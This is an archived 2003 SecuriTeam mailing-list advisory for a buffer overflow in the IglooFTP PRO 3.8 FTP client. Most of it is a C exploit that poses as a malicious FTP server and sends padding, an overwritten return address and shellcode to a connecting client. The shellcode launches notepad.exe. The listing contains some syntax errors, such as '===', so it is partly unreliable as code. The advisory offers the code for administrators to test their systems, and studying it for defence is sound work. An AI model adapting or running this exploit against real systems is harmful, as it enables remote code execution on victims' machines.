

[EXPL] Buffer Overflows Vulnerability in IglooFTP PRO (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-07/0057.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/16/03

To: list@securiteam.com

Date: 16 Jul 2003 10:23:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

Buffer Overflows Vulnerability in IglooFTP PRO (Exploit)

SUMMARY

As we previously reported,

<<http://www.securiteam.com/windowsntfocus/5RP012AAKI.html>> Buffer Overflows Vulnerability in IglooFTP PRO, a buffer overflow vulnerability in the product allows remote attackers to execute arbitrary code. The following exploit code can be used by system administrators to test their system for the mentioned vulnerability.

DETAILS

Vulnerable systems:

* IglooFTP PRO version 3.8

Immune systems:

* IglooFTP PRO version 3.9

Exploit:

Securiteam: [EXPL] Buffer Overflows Vulnerability in IglooFTP PRO (Exploit)

```
/* IglooExploit.c (Windows XP Professional Build 2600.x)
*
* vkhoshain@hotmail.com
* -----
* glooFTP Pro 3.8 Remote exploit code is ready to use ;
* all you need to do is compile the source code and then
* run the program and wait for glooFTP Pro 3.8 connection
*
* This one doesn't do anything , just run notepad.exe and then crash
* the program by :
* INT 3 ;)
*
*/

#include "winsock2.h"
#include "stdio.h"
#pragma comment (lib,"ws2_32")

int main()
{
char spend[1024];
char shellcode[] = "\x90\x90\x90\x90\x90\x90\xEB\x13\x5F\x66\x31\xC0\x88\x47"
"\x0E\x40\x50\x57\xB8\xC6\x84\xE6\x77\xFF\xD0\xCD\x03"
"\xE8\xE8\xFF\xFF\xFF\x6E\x6F\x74\x65\x70\x61\x64\x20"
"\x20\x20\x20\x20\x20\x20\x23";

WSADATA wsaData;
int s1,spt;
struct sockaddr_in p;
struct sockaddr_in emp;
int len;
// Startup ...
WSAStartup(0x0101,&wsaData);

// Creating first socket!
printf("Creating socket ...\n");
if ((s1=socket(AF_INET,SOCK_STREAM,0))===-1){
printf("Err in Creating socket\n");
closesocket(s1);
return 0;
}
p.sin_port = htons(21);
p.sin_family =AF_INET;
p.sin_addr.s_addr = INADDR_ANY;

// Binding ----
printf("Binding ...\n");
if ((bind(s1,(struct sockaddr*) &p,sizeof(p)))===-1)
{
printf("Err in Bind ...\n");
closesocket(s1);
```

Securiteam: [EXPL] Buffer Overflows Vulnerability in IglooFTP PRO (Exploit)

```
return 0;
}

printf("going to start listening\n");
if ((listen(s1,5))===-1)
{
printf("Err in listen method ..\n");
closesocket(s1);
return 0;
}

len=sizeof(emp);

// ACCEPTING
printf("Listening on port 21 , please wait for glooFTP(ver3.8) connection
..\n");
spt=accept(s1,&emp,&len);
printf("The ftp client has just connected ,please wait ... \n");

send(spt,"200 ",4,0); // Sending "200 "
send(spt,spend,1024,0); //to recive RET addr place
send(spt,"\x79\xfc\xe9\x77",4,0); //EIP Address (RET Addr)
send(spt,shellcode,46,0); //Sending Shellcode

send(spt,"\n",1,0);

closesocket(s1);
closesocket(spt);
printf("Shellcode has just sent , Done.\n");

return 0;

}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:vkshoshain@hotmail.com>> vafa khoshaein.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [EXPL] Buffer Overflows Vulnerability in IglooFTP PRO (Exploit)

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.